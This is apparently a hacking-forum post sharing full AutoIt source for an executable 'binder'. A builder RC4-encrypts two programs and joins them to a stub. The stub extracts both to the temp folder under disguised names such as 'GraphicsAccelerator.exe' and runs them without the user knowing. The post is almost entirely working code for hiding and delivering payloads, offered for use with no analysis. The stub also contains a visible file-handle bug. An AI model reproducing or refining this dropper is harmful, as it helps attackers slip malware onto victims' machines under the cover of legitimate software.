[HC Official] Hack Community Binder

Code:

#include<GUIConstants.au3>

#include<EditConstants.au3>

#include<Crypt.au3>

#include<WindowsConstants.au3>

#include<GDIPlus.au3>



Opt("GUIOnEventMode",1)

$color1=0x090909

$color2=0xff0000

$color3=0x777777

$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)

_GDIPlus_Startup()

$hImage = _GDIPlus_ImageLoadFromFile("logo.png")

$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)

GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")



$header=GUICtrlCreateLabel("Binder",340,40,130,50)

$label1=GUICtrlCreateLabel("File 1",20,230,60,20)

$label2=GUICtrlCreateLabel("File 2",20,270,60,20)

$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)

$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$button1=GUICtrlCreateButton("...",550,230,30,20)

$button2=GUICtrlCreateButton("...",550,270,30,20)

$button3=GUICtrlCreateButton("...",550,310,30,20)

$bind=GUICtrlCreateButton("Bind",190,350,70,25)

$close=GUICtrlCreateButton("Close",270,350,70,25)

$about=GUICtrlCreateButton(">>",570,370,20,20)

$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)



$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)

$view=0

init()

GUICtrlSetOnEvent($close,"quit")

GUICtrlSetOnEvent($button1,"getpath1")

GUICtrlSetOnEvent($button2,"getpath2")

GUICtrlSetOnEvent($button3,"getpath3")

GUICtrlSetOnEvent($bind,"bind")

GUICtrlSetOnEvent($about,"about")

GUISetState(@SW_SHOW,$frame)

GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)

While 1

   ;

WEnd



Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)

    #forceref $hWnd, $Msg, $wParam, $lParam

    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)

    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)

    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)

    Return $GUI_RUNDEFMSG

 EndFunc

 

Func init()

   GUICtrlSetFont($header,25,700,2)

   GUICtrlSetFont($label1,14)

   GUICtrlSetFont($label2,14)

   GUICtrlSetFont($label3,14)

   GUICtrlSetFont($label,11)

   GUICtrlSetFont($bind,12)

   GUICtrlSetFont($close,12)

   GUICtrlSetFont($input1,12)

   GUICtrlSetFont($input2,12)

   GUICtrlSetFont($input3,12)

   GUISetBkColor($color1,$frame)

   GUISetBkColor($color1,$frame2)

   GUICtrlSetBkColor($input1,$color3)

   GUICtrlSetBkColor($input2,$color3)

   GUICtrlSetBkColor($input3,$color3)

   GUICtrlSetBkColor($button1,$color2)

   GUICtrlSetBkColor($button2,$color2)

   GUICtrlSetBkColor($button3,$color2)

   GUICtrlSetColor($label1,$color2)

   GUICtrlSetColor($label2,$color2)

   GUICtrlSetColor($label,$color2)

   GUICtrlSetColor($label3,$color2)

   GUICtrlSetBkColor($bind,$color2)

   GUICtrlSetBkColor($close,$color2)

   GUICtrlSetBkColor($about,$color2)

   GUICtrlSetColor($header,$color2)

EndFunc



Func quit()

   _GDIPlus_GraphicsDispose($hGraphic)

   _GDIPlus_ImageDispose($hImage)

   _GDIPlus_Shutdown()

   Exit

EndFunc



Func getpath1()

   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)

   If @error Then

      ;

   Else

      GUICtrlSetData($input1,$filepath)

   EndIf

EndFunc



Func getpath2()

   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)

   If @error Then

      ;

   Else

      GUICtrlSetData($input2,$filepath)

   EndIf

EndFunc





Func getpath3()

   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"

   If @error Then

      ;

   Else

      GUICtrlSetData($input3,$filepath)

   EndIf

EndFunc



Func bind()

   $path1=GUICtrlRead($input1)

   $path2=GUICtrlRead($input2)

   $path3=GUICtrlRead($input3)

   If FileExists($path1) And FileExists($path2) Then

      $marker=StringToBinary("SOLIXIOUS")

      $output=FileOpen($path3,1+2+8+16)

      $inputx1=FileOpen($path1,0+16)

      $inputx2=FileOpen($path2,0+16)

      $data1=FileRead($inputx1)

      $data2=FileRead($inputx2)

      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)

      $stubdata=FileRead($stub)

      FileWrite($output,$stubdata)

      FileWrite($output,$marker)

      $data1=encrypt(BinaryToString($data1))

      $data2=encrypt(BinaryToString($data2))

      FileWrite($output,StringToBinary($data1))

      FileWrite($output,$marker)

      FileWrite($output,StringToBinary($data2))

      FileClose($output)

      FileClose($inputx1)

      FileClose($inputx2)

      MsgBox(64,"Successful","Files Binded Successfully!")

      GUICtrlSetData($input1,"")

      GUICtrlSetData($input2,"")

      GUICtrlSetData($input3,"")

   EndIf

EndFunc



Func encrypt($data)

   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)

   Return $data

EndFunc



Func about()

   If $view=0 Then

      GUISetState(@SW_SHOW,$frame2)

      GUICtrlSetData($about,"<<")

      $view=1

   Else

      GUISetState(@SW_HIDE,$frame2)

      GUICtrlSetData($about,">>")

      $view=0

   EndIf

EndFunc

Code:

#include<Crypt.au3>



$path=@ScriptFullPath

$file=FileOpen($path,0+16)

$data=FileRead($file)

$marker="SOLIXIOUS"

$strdata=BinaryToString($data)

$ardata=StringSplit($strdata,$marker,1)

HotKeySet("+!c","quit")

If @error Then

   MsgBox(0,"No Delimiters","No delimiters Found!")

Else

   If $ardata[0]=3 Then

      $ardata[2]=decrypt(BinaryToString($ardata[2]))

      $ardata[3]=decrypt(BinaryToString($ardata[3]))

      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)

      FileWrite($file1,$ardata[2])

      FileClose($file1)

      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)

      FileWrite($file1,$ardata[3])

      FileClose($file2)

      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")

      ShellExecute(@TempDir & "\GraphicsService.exe")

      While 1

         ;

      WEnd

   EndIf

EndIf



Func decrypt($data)

   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)

   return $data

EndFunc



Func quit()

   Exit

EndFunc